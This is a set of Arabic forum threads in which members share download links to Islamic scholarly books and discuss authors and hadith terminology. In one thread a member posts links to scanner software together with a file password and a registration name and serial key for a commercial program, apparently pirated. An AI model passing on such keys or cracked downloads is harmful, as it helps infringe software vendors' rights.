إن الفهرس مفيد، فجزاك الله خيرا عليه.
ـ[إسماعيل سعد]ــــــــ[14 - 09 - 08, 01:42 ص]ـ
جزاكم الله خيرا
ـ[عبد الرحمن أبو عبد الله]ــــــــ[14 - 09 - 08, 06:35 م]ـ
جزاكم الله خيرا
ـ[إكرام شقرون]ــــــــ[15 - 09 - 08, 04:24 ص]ـ
جزاك الله خيرا، وسدّد خطاك.
ـ[الطيماوي]ــــــــ[15 - 09 - 08, 11:18 م]ـ
يا هيك الهدايا يا بلاش الله يجزيك عنا خير الجزاء.
ـ[خلدون الجزائري]ــــــــ[16 - 09 - 08, 02:13 ص]ـ
إضافة مهمة ونافعة وفي محلها، بارك الله في عملك.
ـ[أبو سليمان العسيلي]ــــــــ[16 - 09 - 08, 05:16 ص]ـ
جزاك الله خير
ـ[خزانة الأدب]ــــــــ[17 - 09 - 08, 01:00 ص]ـ
يا هيك الهدايا يا بلاش الله يجزيك عنا خير الجزاء.
غَيْضٌ من فيضك، بارك الله فيك
وشكراً لجميع الإخوان على مشاعرهم ودعولتهم
ـ[خليل إبراهيم]ــــــــ[12 - 12 - 08, 03:45 م]ـ
أتمنى أن ترفع على مواقع أخرى غير الرابيد شير
ـ[زايد بن عيدروس الخليفي]ــــــــ[22 - 12 - 08, 12:22 م]ـ
هل من الممكن رابط آخر للفهرس غير موقعنا الحبيب؟
ـ[زايد بن عيدروس الخليفي]ــــــــ[22 - 12 - 08, 12:29 م]ـ
تم التحميل والحمد لله ...
أخي خزانة الأدب ... جزاك الله خيرا على حسن صنيعك ...
ـ[منير الجزائري]ــــــــ[26 - 12 - 08, 03:09 ص]ـ
بارك الله فيكم وفي جهودكم
ـ[خزانة الأدب]ــــــــ[26 - 12 - 08, 03:20 ص]ـ
أرجو أن يرفعه بعض الإخوة لضعف معرفتي بهذا الأمر
ـ[ابو عبد المحسن]ــــــــ[26 - 12 - 08, 06:26 ص]ـ
السلام عليكم
تفضل أخي
http://www.zshare.net/download/5328210616c1d500/
...
ـ[عبد الله محمد إبراهيم]ــــــــ[26 - 12 - 08, 07:43 ص]ـ
جزاكم الله خيراً.
ـ[مهاجي جمال]ــــــــ[26 - 12 - 08, 07:04 م]ـ
بارك الله فيكم
ـ[تاجر فاطمة]ــــــــ[16 - 01 - 09, 10:55 م]ـ
جزاك الله خيرا وبارك فيك
__________________
مَنْ كانَ مِنْ أهلِ الحَديثِ فإنهُ ... ذو نَضرةٍ في وَجههِ نورٌ سَطَعْ
إنَّ النبيَّ دَعا بنضرةِ وَجهِ مََنْ ... أدَّى الحَديثَ كَما تحَمَّلَ واستَمَعْ
ـ[البشير الزيتوني]ــــــــ[16 - 01 - 09, 11:11 م]ـ
هدية قيمة ... جزاكم الله كل خير، وأبعد عنكم كل شر.
ـ[أبو حسان السلفي]ــــــــ[07 - 02 - 09, 11:35 م]ـ
جزاك الله خيرا و لعل جهدك يكون فاتحة خير لعمل فهرس للموضوعات منقح من كتب المبتدعة
فمن لها يا ترى؟؟(61/175)
هل (دليل الحيران لحفظ القرآن) لمزاحم طالب العاني. موجود في الشبكة؟
ـ[الدر المصون]ــــــــ[13 - 09 - 08, 04:49 ص]ـ
السلام عليكم اسأل أين أجد هذا الكتاب؟ وهل هناك من يحتسب الأجر ويرفعه لنا؟
(دليل الحيران لحفظ القرآن) لمزاحم طالب العاني
ـ[محمد أبو سعد]ــــــــ[13 - 09 - 08, 07:09 ص]ـ
تفضل يا أخي حمل من موقع المصطفى:
دليل الحيران لحفظ القرآن - مزاحم طالب العاني
http://al-mostafa.info/data/arabic/gap.php?file=nc/other/0041.pdf
ـ[الدر المصون]ــــــــ[13 - 09 - 08, 06:15 م]ـ
بوركتم(61/176)
مجموع فتاوى ومقالات متنوعة - 24 مجلد Pdf - العلامة ابن باز
ـ[أبو أيوب السليمان]ــــــــ[13 - 09 - 08, 05:11 ص]ـ
مجموع فتاوى ومقالات متنوعة - 24 مجلد Pdf - ابن باز
جمع وإشراف: محمد بن سعد الشويعر
دار القاسم للنشر
الطبعة الأولى
1420
159 ميجا
صفحة الكتاب:
http://www.archive.org/details/mfmmmfmm
رابط الواجهة:
http://ia311233.us.archive.org/2/items/mfmmmfmm/mfmm00.pdf
منقول من الأخ الفاضل: الجليس الصالح
http://majles.alukah.net/showthread.php?t=19733
ـ[أبو طلحة الحضرمي]ــــــــ[13 - 09 - 08, 06:44 ص]ـ
جزاك الله خيرًا وبارك الله في أخينا الجليس الصالح
ـ[حمود بن يحيى]ــــــــ[13 - 09 - 08, 09:14 ص]ـ
جزى اللهُ المصورَ والناقلَ خيرًا
ـ[بلال اسباع الجزائري]ــــــــ[13 - 09 - 08, 10:30 ص]ـ
جزاكم الله خيرا.
ـ[أسامة طارق]ــــــــ[13 - 09 - 08, 05:38 م]ـ
جزاكم الله خيراً(61/177)
فتاوى اللجنة الدائمة للبحوث العلمية والإفتاء - 23 مجلد Pdf
ـ[أبو أيوب السليمان]ــــــــ[13 - 09 - 08, 05:15 ص]ـ
فتاوى اللجنة الدائمة للبحوث العلمية والإفتاء
23 مجلد
جمع وترتيب: أحمد بن عبد الرزاق الدويش
دار العاصمة
152 ميجا
صفحة الكتاب:
http://www.archive.org/details/fldbeefldbee
رابط واجهة الكتاب:
http://ia311219.us.archive.org/1/items/fldbeefldbee/fldbee00.pdf
منقول من الأخ الفاضل: الجليس الصالح
http://majles.alukah.net/showthread.php?t=19734
ـ[أبو طلحة الحضرمي]ــــــــ[13 - 09 - 08, 06:43 ص]ـ
جزاك الله خيرًا وبارك الله في أخيناالجليس الصالح
ـ[النصري]ــــــــ[13 - 09 - 08, 07:56 ص]ـ
هل أجد هذه الفتاوى وغيرها في كتلة واحدة بارك الله فيكم
ـ[أسامة طارق]ــــــــ[13 - 09 - 08, 05:42 م]ـ
جزاكم الله خيراً(61/178)
حملوا كتابي ((الخلاصة في بيان أسباب اختلاف الفقهاء)) للشاملة 3 + ورد + pdf
ـ[علي 56]ــــــــ[13 - 09 - 08, 08:28 ص]ـ
((حقوق الطبع متاحة لجميع المؤسسات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد المرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فهذا كتاب يتمم الكتاب الأول، وهو الخلاصة في أحكام الاجتهاد والتقليد، فهذا الكتاب يتحدث عن أسباب اختلاف الفقهاء.
وقد كثر القيل والقال في هذه المسالة الجلل، وتفرق المعاصرون تبعاً لمشاربهم حول موقفهم من هذا الاختلاف:
فمنهم من زعم أن سبب الاختلاف هو سبب البغي واتباع الهوى!!!
ومنهم من زعم أنه إذا كان الاختلاف رحمة فالاتفاق سخط!!
ومنهم من رد الاختلاف إلى عدم وصول الحديث للمجتهد، فأفتى برأيه، وغيره وصله الحديث فعمل به.
ومنهم من زعم أن سبب الاختلاف هو التعصب لشخص أو إقليم ... !!
والقلة القليلة استطاعت الغوص إلى أعماق هذا الموضوع، فبينوا أن هناك أسباباً موضوعية أدت إلى اختلاف الفقهاء عبر التاريخ.
ثم اختلف أولئك في موقفهم من هذا الاختلاف اختلافاً حادًّا:
فمنهم من انهال على المختلفين سبًّا وطعناً، متهمهم في دينهم والعياذ بالله!!
ومنهم من دعا لترك المذاهب الفقهية، وأخذ الأحكام من القرآن والسنة مباشرة، ومنهم من زعم أن سبب تخلف المسلمين يعود لهذا الاختلاف، وراح يتصيد الأخبار والحكايات من هنا وهناك لبيان آثار الاختلاف السلبية وما جرته على الأمة من ويلات.
ومنهم من لتوحيد المذاهب الفقهية لتكون مذهباً واحداً حسما للاختلاف!!!
ومنهم من قال: نأخذ بقول الجمهور وندع قول غير الجمهور وينتهي الأمر -على طريقة المفاهيم الحديثة حول الأخذ برأي الأكثرية دون رأي الأقلية!!
ومنهم من دعا للحوار البناء بين المختلفين بغية التقارب بينهم.
ومنهم من قال إن الاختلاف أمر طبيعي، ولكن التعصب وضيق الأفق وتبرير الأخطاء هو المذموم شرعاً.
ومنهم من قال: يجب علينا أن تعاون فيما اتفقنا عليه، ويعذر بعضنا البعض فيما اختلفنا فيه.
ومنهم من بهرته حضارة الغرب المادية، فقال الحلُّ عندي: هو استيراد قوانين الغرب، ونبذ كلام هؤلاء الفقهاء المختلفين، لأن قوانين الغرب مقننة ولا اختلاف فيها على حدِّ زعمه.!!!
ومنهم من قال غير ذلك.
وكلٌّ يدَّعي وصلاً بليلى ---- وليلى لا تقرُّ لهم بذاكَ
وهذا الموضوع - بلا ريب - زلَّتْ فيه أقلامٌ كثرٌ، لكثرة تشعباته، وعدم الغوص إلى أعماقه.
وفي هذا الكتاب بيانٌ مفصَّل لأسباب اختلاف الفقهاء منذ عهد الصحابة رضي الله عنهم وإلى الآن.
ثم مناقشةُ الشبهات التي ذكرنا بعضاً منها، وغيرها.
وهذا الكتاب الذي بين يدينا يشتمل على الموضوعات التالية:
تمهيد وسبعة فصول:
الفصل الأول-أسباب اختلاف الفقهاء العامة ...
الفصل الثاني-فلسفة الاختلاف بين الفقهاء
الفصل الثالث-شبهات حول أسباب الاختلاف
الفصل الرابع-قضايا منوعة أسباب اختلاف الفقهاء ...
الفصل الخامس-حال الناس منذ عهد الصحابة حتى تقليد الأئمة الأربعة
الفصل السادس-أسباب ترك بعض الفقهاء الاحتجاج بالحديث
الفصل السابع-حول أدب الاختلاف
وأخيرا خاتمة فيها خلاصة هذه الدراسة.
وأما طريقتنا في العمل فهي كما يلي:
*- نقل الأدلة من مصادرها، فآيات القرآن كلها مشكلة، ولكنها ليست بالرسم العثماني.
*- تخريج الأحاديث من مصادرها الرئيسة، والحكم على الحديث بما يناسبه جرحا وتعديلاً إذا لم يكن في الصحيحين، وفق منهج المعتدلين في الجرح والتعديل.
*- النقل من المصادر الأساسية مباشرة، والإكثار من النقول من أجل توضيح الغامض، أو تقرير حقيقة ....
*- تغيير النصوص في المصادر المنقول منها، سواء أكانت نصوص قرآنية، أو أحاديث نبوية، أو أقوال منسوبة لأشخاص، وذلك بالرجوع لمصادرها الأساسية، بسبب كثرة الأخطاء في النصوص الشرعية أو المنقولة عن العلماء، وبذلك تحاشينا الكلام عن الأخطاء المطبعية أو النصية.
*- نقل ما ورد بالموسوعة الفقهية حول هذه المسائل، مع تدقيق المصادر ولاسيما الأحاديث النبوية والحكم عليها، فقد كانت الموسوعة الفقهية في هذا الجانب قاصرة سواء في نقل النص أو الحكم عليه.
*- حاولت تحرير كثير من مواطن النزاع، ولاسيما الشائكة منها.
*- رددت كثيراً من الأخطاء والأوهام.
*- حاولت ضبط كثير من المسائل المختلف فيها.
*- ذكرت مصادر ما أنقله عن غيري بالهامش.
*- أسهبت في بعض المواضع، لأهميتها، أو بسبب غموضها والخطأ في فهمها.
فإن أصبت فمن الله تعالى وحده، وله الفضل والمنة، قال تعالى: {وَمَا بِكُم مِّن نِّعْمَةٍ فَمِنَ اللّهِ} (53) سورة النحل.
وإن أخطأت، فمن تقصيري، واستغفر الله {رَبَّنَا لاَ تُؤَاخِذْنَا إِن نَّسِينَا أَوْ أَخْطَأْنَا رَبَّنَا وَلاَ تَحْمِلْ عَلَيْنَا إِصْرًا كَمَا حَمَلْتَهُ عَلَى الَّذِينَ مِن قَبْلِنَا رَبَّنَا وَلاَ تُحَمِّلْنَا مَا لاَ طَاقَةَ لَنَا بِهِ وَاعْفُ عَنَّا وَاغْفِرْ لَنَا وَارْحَمْنَآ أَنتَ مَوْلاَنَا فَانصُرْنَا عَلَى الْقَوْمِ الْكَافِرِينَ} (286) سورة البقرة.
وكتبه
الباحث في القرآن والسُّنَّة
علي بن نايف الشحود
في السابع من جمادى الآخرة لعام 1429 هـ الموافق ل 11/ 6/2008م
(يُتْبَع .. اقلب الصفحة)
(61/179)
ـ[أبو عبد الله السني]ــــــــ[13 - 09 - 08, 06:43 م]ـ
السلام عليكم ورحمة الله وبركاته
شيخنا المكرم:
بارك الله فيكم ونفعكم بما تقدمون
نعم حبيبنا هكذا نريد الرفع، كل صيغة على رابط، وكل منا يحمل ما يشاء، فقط، ونسأل الله تعالى لكم المغفرة والعتق من النار.
ـ[علي 56]ــــــــ[13 - 09 - 08, 06:51 م]ـ
وعليكم السلام ورحمة الله وبركاته
نسأل الله تعالى أن يجعلنا وإياكم مفاتيح للخير مغاليق للشر(61/180)
كتاب: مدخل الي المذهب العلوي النصيري
ـ[أبو سليمان العسيلي]ــــــــ[13 - 09 - 08, 02:04 م]ـ
السلام عليكم ورحمة الله وبركاته
كتاب مدخل الي المذهب العلوي النصيري
المؤلف: جعفر الكنج الدندشى
http://www.4shared.com/file/59352729/265a3034/______.html?dirPwdVerified=19a998f8(61/181)
أريد كتاب "أثر علل الحديث في اختلاف الفقهاء" ضروري جدا
ـ[أبو ريان الزعبي]ــــــــ[13 - 09 - 08, 03:54 م]ـ
السلام عليكم ورحمة الله وبركاته
هل أحد ممكن ينزل هذا الكتاب. للمؤلف: ماهر ياسين الفحل
وجزيتم خيرا
ـ[بلال خنفر]ــــــــ[13 - 09 - 08, 06:33 م]ـ
http://saaid.net/book/search.php?do=all&u=%C7%E1%DD%CD%E1
ـ[أبو ريان الزعبي]ــــــــ[14 - 09 - 08, 06:46 م]ـ
جزاكم الله كل خير ونفع بكم
ـ[القرشي]ــــــــ[14 - 09 - 08, 08:04 م]ـ
http://www2.0zz0.com/2007/12/07/01/90245735.jpg (http://www.0zz0.com)(61/182)
حملوا تحرير التقريب برابط واحد
ـ[علي 56]ــــــــ[13 - 09 - 08, 04:06 م]ـ
أيها الأحباب
السلام عليكم ورحمة الله وبركاته:
كلنا يعلم قيمة كتاب تقريب التهذيب للحافظ ابن حجر العسقلاني رحمه الله، ولكن هذا الكتاب معصور جدا، ومن ثم فقد اختلف من جاء بعده بكثير من عباراته ماذا يقصد بها، وفي عصرنا هذا كثر الاختلاف بشكل حاد، ولا سيما في المصطلحات التالية:
صدوق - صدوق يهم - صدوق يخطئ- صدوق كثير الإرسال والأوهام - صدوق اختلط، صدوق رمي بالنصب- بالرفض- بالقدر ....
مقبول - لين الحديث - مستور ......
وقد فهم كثير منها على غير مراد الحافظ ابن حجر رحمه الله
وأول دراسة جادة هي التي قام بها الدكتور وليد العاني رحمه الله في كتابه ((منهج دراسة الأسانيد والحكم عليها)) فقد استطاع فك بعض ألغاز التقريب ...
ثم جاءت دراسة أستاذنا الشيخ شعيب والدكتور عواد بشار معروف (وكلاهما لهما باع في التخريج) ولكن هذه الدراسة لم تكمل عمل الدكتور العاني رحمه الله، بل جاءت لتنقض ما وصل إليه،بغير برهان ولا دليل معتبر ....
وقد وقعا في أخطاء فاحشة في فهم مصطلحات الحافظ ابن حجر رحمه الله في التقريب، والسبب في ذلك - برأيي- يعود للعوامل التالية:
أولا- عدم العودة لكتب الحافظ ابن حجر الأخرى والتي فصَّل فيها كثيرا من هذه المصطلحات.
الثاني - عدم ملاحظة كيفية تطبيق الحافظ ابن حجر لهذه المصطلحات، فهو أدرى الناس بها.
الثالث- محاسبته على مصطلحات غيره.
الرابع - التشدد في الجرح والتعديل .....
ومن ثم كثرت الردود عليهما، ولا سيما الرد الذي قام به الدكتور ماهر الفحل حفظه الله.
وفي كتابي ((الحافظ ابن حجر ومنهجه في تقريب التهذيب)) أبلغ ردٍّ عليهم وعلى غيرهم، ممن فهموا هذه المصطلحات على غير وجهها الحق.
فالرجاء من الإخوة - طلاب العلم-الابتعاد عن الآراء المسبقة والقيام بما يلي:
أولا - قراءة مقدمة كتاب تحرير التقريب بدقة
ثانيا- قراءة الرد عليها للدكتور ماهر الفحل
ثالثا- قراءة كتابي الحافظ ابن حجر ومنهجه في تقريب التهذيب
وبعد ذلك يستطيعون المقارنة ومعرفة الحقيقة، ومن الذي كان أقرب لفهم مصطلحات الحافظ ابن حجر، ومن الذي كان أبعد عنها.
وليكن رائدنا قولي صواب يحتمل الخطأ، وقولك خطأ يحتمل الصواب
{رَبَّنَا اغْفِرْ لَنَا وَلِإِخْوَانِنَا الَّذِينَ سَبَقُونَا بِالْإِيمَانِ وَلَا تَجْعَلْ فِي قُلُوبِنَا غِلًّا لِّلَّذِينَ آمَنُوا رَبَّنَا إِنَّكَ رَؤُوفٌ رَّحِيمٌ} (10) سورة الحشر
أخوكم
علي
الرابط:
http://www.zshare.net/download/18700179acbd1eba/
=======================
ـ[أبو عبد الله السني]ــــــــ[13 - 09 - 08, 06:35 م]ـ
شيخنا الحبيب: السلام عليكم ورحمة الله وبركاته
لك الشكر الجزيل على هذا الكتاب، ومن قبله كتابكم عن ابن حجر، ومن قبله ومن بعده كل كتاب علم نافع ينتفع به عباد الله المؤمنون.
وفقكم الله ورعاكم.
ـ[علي 56]ــــــــ[13 - 09 - 08, 06:47 م]ـ
ولك مثل دعوتك أخي الحبيب
ـ[بلال خنفر]ــــــــ[13 - 09 - 08, 06:49 م]ـ
السلام عليكم
أرفق مع هذه المشاركة رد الدكتور الفاضل بسام على كتاب شيخنا ماهر ... والرد أرفقه حتى يستطبع القاريء الكريم أن يرى الردود فيستفيد غاية الاستفادة.
الرابط: http://www.ahlalhdeeth.com/vb/showthread.php?t=143987
ـ[بلال خنفر]ــــــــ[13 - 09 - 08, 06:51 م]ـ
وهذا كتاب شيخنا ماهر: http://www.ahlalhdeeth.com/vb/showpost.php?p=798044&postcount=63
ـ[أبو محمد المرقال]ــــــــ[13 - 09 - 08, 07:45 م]ـ
جزاك الله خيرا أخي الفاضل (علي)
لكن ليتك تقوم بتنزيل الملف على غير هذا الموقع لأنه بطيء ولايستأنف التحميل!!
ـ[أبو أكرم الحلبي]ــــــــ[13 - 09 - 08, 08:20 م]ـ
جزاك الله خيراً شيخنا الحبيب
ولكن الكتاب حجمه كبير للغاية أكثر من 30 ميغا؟!
ـ[علي 56]ــــــــ[13 - 09 - 08, 09:13 م]ـ
أيها الأحباب الكرام
وأنتم جزاكم الله جميعاً خيرا
أنا اضطريت لوضعه على هذا الموقع لأنه يبقى مدة طويلة،
ولكن من أراده مجزءا فهذا هو على هذا الرابط وموقع آخر:
http://www.ahlalhdeeth.com/vb/showpost.php?p=895525&postcount=614
ـ[أبو عبد الله السني]ــــــــ[14 - 09 - 08, 11:50 م]ـ
جزاك الله خيراً شيخنا الحبيب
ولكن الكتاب حجمه كبير للغاية أكثر من 30 ميغا؟!
السلام عليكم ورحمة الله وبركاته
أخي أبا أكرم: حملته في العاصمة، وأنا الآن عائد إلى قريتي، وإن لم تكن حملته بعد فأنا أرسله لكم إلى بيتكم شيخنا الحبيب.
ـ[أبو أكرم الحلبي]ــــــــ[15 - 09 - 08, 12:29 ص]ـ
السلام عليكم ورحمة الله وبركاته
أخي أبا أكرم: حملته في العاصمة، وأنا الآن عائد إلى قريتي، وإن لم تكن حملته بعد فأنا أرسله لكم إلى بيتكم شيخنا الحبيب.
بارك الله فيك شيخنا الحبيب الغالي
قام أحد الأخوة بالتكفل بذلك
جزاك الله خيراً وجعلك من عتقاءه في هذا الشهر
(يُتْبَع .. اقلب الصفحة)
(61/183)
ـ[أبو يحيى]ــــــــ[29 - 05 - 09, 01:28 م]ـ
[ color="blue"][size="5"][b][b][color="blue"] وفي كتابي ((الحافظ ابن حجر ومنهجه في تقريب التهذيب)) أبلغ ردٍّ عليهم وعلى غيرهم، ممن فهموا هذه المصطلحات على غير وجهها الحق.
أخي علي
بارك الله فيك، ونفع بك
ولكن لك عندي نصيحة،
انتقد كما تشاء، هذا هو الأمر بالمعروف والنهي عن المنكر
ولكن الله تعالى يقول:
{أَلَمْ تَرَ إِلَى الَّذِينَ يُزَكُّونَ أَنفُسَهُمْ بَلِ اللهُ يُزَكِّي مَن يَشَاء وَلاَ يُظْلَمُونَ فَتِيلاً}
فليس من حق أي إنسان، أن يقوم بعمل ثم يقول: وعملي هذا هو أفضل، أو أعظم، أو أتقن، أو أبلغ، إلى آخره.
وربما تكون أنت الذي فهمت المصطلحات على غير وجهها الحق، كما قلت عن غيرك؟
وربما الجميع لم يفهم، وألف ألف ربما.
وكم من عمل (أنا وأنت) قمنا به منذ سنوات، وظننا أنه نهاية الطريق، وآخر العالم، واليوم نقول: لقد أخطأنا في كذا وكذا.
ومن يدري ماذا ستقول أنت عن عملك هذا بعد عشر سنوات؟!
بارك الله فيك.
ـ[مهاجي جمال]ــــــــ[29 - 05 - 09, 02:20 م]ـ
أخي الروابط 2، 4
لا تعمل فهل من حل
جزاك الله خيرا
روابط أخرى للكتاب كاملاً:
http://www.mediafire.com/?mjddngxxnls
أو
http://gettyfile.ru/311634
أو
http://www.megaupload.com/?d=591D5QL0
أو
http://www.sendspace.com/file/ftxxk5
أو
http://rapidshare.com/files/238469974/tahrir_ta9rib_tahdhib_1-4.rar
أو
http://www.zshare.net/download/606682414f4186d5
ـ[أبو خالد عوض]ــــــــ[29 - 05 - 09, 05:00 م]ـ
بوركت أخي الحبيب (مهاجي جمال)
أهديك خدًا موردًا من كرمك الأصيل ..
فوالله قد كنت محتاجًا إليه جدًا ..
ـ[أبو خالد عوض]ــــــــ[29 - 05 - 09, 06:10 م]ـ
أخي الحبيب وصاحبي اللبيب:
أطمح إلى تزويدي بنسخة عن الرجح والتعديل لأبي حاتم
والتجريح والتعديل للباجي
على شكل pdf
وبروابط مباشرة أن تكرمت
أخوك المحب
ـ[مهاجي جمال]ــــــــ[29 - 05 - 09, 07:10 م]ـ
أخي الحبيب وصاحبي اللبيب:
أطمح إلى تزويدي بنسخة عن الرجح والتعديل لأبي حاتم
والتجريح والتعديل للباجي
على شكل pdf
وبروابط مباشرة أن تكرمت
أخوك المحب
بورك فيك
الأول موجود في هذا الرد على موقع الألوكة:
http://majles.alukah.net/showpost.php?p=14504&postcount=53
وأبشر فهو ضمن موضوع مخصص لكتب الجرح والتعديل رفعها كلها الأخ الحسام جزاه الله خيراً:
http://majles.alukah.net/showthread.php?t=2125
أما الثاني فغير متوفر على الشبكة حالياً حسب علمي وبحثي والله أعلم
ولا تنساني والأخ الحسام من صالح دعائك
ـ[مهاجي جمال]ــــــــ[29 - 05 - 09, 07:22 م]ـ
بوركت أخي الحبيب (مهاجي جمال)
أهديك خدًا موردًا من كرمك الأصيل ..
فوالله قد كنت محتاجًا إليه جدًا ..
بوركت
نفعك الله به
ـ[أنبياء يلديرم]ــــــــ[09 - 02 - 10, 09:17 م]ـ
الروابط كلها لا تعمل(61/184)
النصيرية ...... التاريخ الكامل
ـ[أبو سليمان العسيلي]ــــــــ[13 - 09 - 08, 05:07 م]ـ
السلام عليكم ورحمة الله وبركاته
في هذا الكتاب معلومات و وثائق تم جمعها من مواقع و كتب عديدة و تنسيقها لتتم بها الفائدة .....
أرجوا الدعاء لمن قام بهذا الجمع .....
http://rapidshare.de/files/40462932/__ae_____.pdf.html
أو:
http://www.4shared.com/file/62845363/e3120621/_online.html?dirPwdVerified=c32d8fc1
أتمنى أن يتم نشر هذا الكتاب في كل المواقع ذات الصلة
ـ[ saead] ــــــــ[13 - 09 - 08, 05:18 م]ـ
ولكن اين الكتاب ??????????????????
ـ[أبو سليمان العسيلي]ــــــــ[13 - 09 - 08, 05:21 م]ـ
السلام عليكم و رحمة الله و بركاته
(ابتسامة) أخي نسيت وضع الرابط فقمت بتعديل و وضعت الرابط و لكن أخي انت دخلت في الوقت الذي كنت أعمل فيه التعديل.
جزاك الله خيراً على مرورك.(61/185)
كتاب دليل إنشاء وتحقيق سلاسل الأنساب pdf
ـ[مصعب الجهني]ــــــــ[13 - 09 - 08, 05:50 م]ـ
حمل كتاب:
دليل إنشاء وتحقيق سلاسل الأنساب pdf
تأليف: د / عماد محمد العتيقي
طبعة: المجلس الوطني للثقافة والفنون والأدب, الكويت
الطبعة: الأولى
سنة: 1422هـ
من هنا: http://www.4shared.com/file/53675838/50b0d3fa/____.html
ـ[مصعب الجهني]ــــــــ[14 - 11 - 08, 12:21 ص]ـ
للرفع ,,,, والفائدة
ـ[أبو عبد الله بن سعيد]ــــــــ[14 - 11 - 08, 04:02 ص]ـ
جزاك الله خيراً
ـ[أبو عدنان]ــــــــ[25 - 04 - 09, 09:00 م]ـ
جزاكم الله خيرا
ـ[محمد احمد الحقاني الافغاني]ــــــــ[25 - 04 - 09, 11:55 م]ـ
جزاك الله خيراً
ـ[أبو ذر الفاضلي]ــــــــ[26 - 04 - 09, 06:45 ص]ـ
جزاك الله خيراً(61/186)
هل هناك دراسة للترتيب الزمني لمؤلفات الذهبي؟ نرجو المساعدة.
ـ[يونس1]ــــــــ[13 - 09 - 08, 06:44 م]ـ
كنت قد قرأت ذلك منذ زمن في هذا المنتدى.(61/187)
الفتح الرباني من فتاوى الإمام الشوكاني - 12 جزء Pdf
ـ[بلال خنفر]ــــــــ[13 - 09 - 08, 06:56 م]ـ
http://majles.alukah.net/showpost.php?p=141811&postcount=15
ـ[أبويعلى البيضاوي]ــــــــ[13 - 09 - 08, 07:23 م]ـ
جزاكم الله خيرا
ـ[طه محمد عبدالرحمن]ــــــــ[14 - 09 - 08, 02:46 ص]ـ
بارك الله فيك ..
ـ[عبد الرحمن أبو عبد الله]ــــــــ[14 - 09 - 08, 06:41 م]ـ
جزاكم الله خيرا(61/188)
المجموعة السعدية في الفتاوى
ـ[بلال خنفر]ــــــــ[13 - 09 - 08, 07:00 م]ـ
http://majles.alukah.net/showthread.php?t=19946
http://majles.alukah.net/showthread.php?t=19944
http://majles.alukah.net/showthread.php?t=19945
ـ[ابو عبد المحسن]ــــــــ[14 - 09 - 08, 02:29 ص]ـ
جزاك الله خيراً
فتاوى مهمة من عالم جليل رحمه الله(61/189)
الى الاخوة المصورون للكتب برامج للسكانير
ـ[ taleb-ilm] ــــــــ[13 - 09 - 08, 07:37 م]ـ
بسم الله والحمد لله والصلاة والسلام على رسول الله
ArcSoft Scan-n-Stitch Deluxe 1.1.9.9 Portable.rar (4.4 MB)
http://www.megaupload.com/?d=N67LATXO
File Password:
s1.zetaboards.com/MEGAmp3N
َ ABBY Scan to Office 1.0
http://rapidshare.com/files/37653077/ABBYY_ScanTo_Office_1.0.rar
Informatik Infothek Scan 11.3.0.0
http://rapidshare.com/files/97287231/Informatik_Infothek_Scan_11.3.0.0.rar
Scan To PDF v3.2.0.6
(you must install .net framewaork)
http://rapidshare.com/files/83923517/Scan_To_PDF_v3.2.0.6.By.VICTORIOUS.rar
JGS-Scan 3.0.3
http://www.download.com/JGS-Scan/3000-2192_4-10267419.html
name: ahlalhdeeth
serial:BQEVN0K46686F0MW
بالنسبة للاخ الطيماوي اتمنى لو تجرب البرامج عسى ان تجد البرنامج الذي يناسبك
ـ[ taleb-ilm] ــــــــ[13 - 09 - 08, 07:44 م]ـ
scanwiz 1.1
http://rapidshare.com/files/50045136/ScanWiz.v1.1.rar
ـ[ taleb-ilm] ــــــــ[16 - 09 - 08, 12:00 ص]ـ
للرفع
ـ[الطيماوي]ــــــــ[16 - 09 - 08, 06:12 م]ـ
بسم الله والحمد لله والصلاة والسلام على رسول الله
ArcSoft Scan-n-Stitch Deluxe 1.1.9.9 Portable.rar (4.4 MB)
http://www.megaupload.com/?d=N67LATXO
File Password:
s1.zetaboards.com/MEGAmp3N
َ ABBY Scan to Office 1.0
http://rapidshare.com/files/37653077/ABBYY_ScanTo_Office_1.0.rar
Informatik Infothek Scan 11.3.0.0
http://rapidshare.com/files/97287231/Informatik_Infothek_Scan_11.3.0.0.rar
Scan To PDF v3.2.0.6
(you must install .net framewaork)
http://rapidshare.com/files/83923517/Scan_To_PDF_v3.2.0.6.By.VICTORIOUS.rar
JGS-Scan 3.0.3
http://www.download.com/JGS-Scan/3000-2192_4-10267419.html
name: ahlalhdeeth
serial:BQEVN0K46686F0MW
بالنسبة للاخ الطيماوي اتمنى لو تجرب البرامج عسى ان تجد البرنامج الذي يناسبك
المشكلة أني لا أحسن التعامل مع البرامج الانجليزية فلو أمكن شرح لطريقة استخدامها واحدة واحدة حتى أجربها وأخبر بالأفضل.
ـ[ taleb-ilm] ــــــــ[18 - 09 - 08, 01:35 م]ـ
المشكلة أني لا أحسن التعامل مع البرامج الانجليزية فلو أمكن شرح لطريقة استخدامها واحدة واحدة حتى أجربها وأخبر بالأفضل.
للاسف انا لا املك سكانير كي اعرف كيفية التعامل مع البرامج,
يا ريت الاخوة يفيدونا بتجربتهم مع هذه البرامج
ـ[عادل القلماوي]ــــــــ[22 - 10 - 08, 11:26 م]ـ
شكرا جزيلا على هذا الموضوع الهام.
اي برنامج من هذه البرامج يعتبر فعال، ويستحق العمل به؟
ـ[عادل القلماوي]ــــــــ[25 - 10 - 08, 10:02 م]ـ
للرفع(61/190)
روابط نحديث الشاملة لاتعمل معي!
ـ[أبو عبد الرحمن السبيلي]ــــــــ[13 - 09 - 08, 11:13 م]ـ
السلام عليكم ورحمة الله وبركاته
روابط نحميل تخديث المكتبة الشاملة الموجودة غبر الرابط أدناه لاتعمل فما السبيل بارك الله فيكم
http://www.shamela.ws/updates.php(61/191)
اين اجد تفسير ابن عطية و الاكليل في استنباط التنزيل لسيوطي مصورا
ـ[عمر الحيدي]ــــــــ[14 - 09 - 08, 03:17 ص]ـ
بارك الله في الاخوة
ـ[هاني القزاز]ــــــــ[14 - 09 - 08, 08:27 ص]ـ
هذا رابط تفسير ابن عطية http://www.megaupload.com/?d=77O53A4W
ـ[احمد الكويتى]ــــــــ[24 - 10 - 08, 01:11 ص]ـ
اخى الكريم راجع هذا الرابط فعليه كثيراً من كتب التفسير http://www.ahlalhdeeth.com/vb/showthread.php?t=148579(61/192)
حملوا كتاب ((تحفةُ العروسين)) للشاملة 3 + ورد منسقاً مفهرساً
ـ[علي 56]ــــــــ[14 - 09 - 08, 10:19 ص]ـ
بسم الله الرحمن الرحيم
